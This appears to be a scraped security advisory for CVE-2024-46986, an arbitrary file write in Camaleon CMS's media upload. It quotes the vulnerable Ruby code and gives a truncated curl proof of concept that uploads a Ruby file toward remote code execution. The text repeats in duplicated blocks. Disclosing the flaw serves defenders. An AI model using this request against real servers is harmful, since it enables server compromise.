CVE-2024-46986

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data;…

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST'
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: /' -H $'Connection: keep-alive'
-b $'auth_token=[..]; _cms_session=[..]'
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name="file_upload"; filename="test.rb"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs "================================="\x0aputs "================================="\x0aputs "= COMPROMISED ="\x0aputs "================================="\x0aputs "================================="\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data;…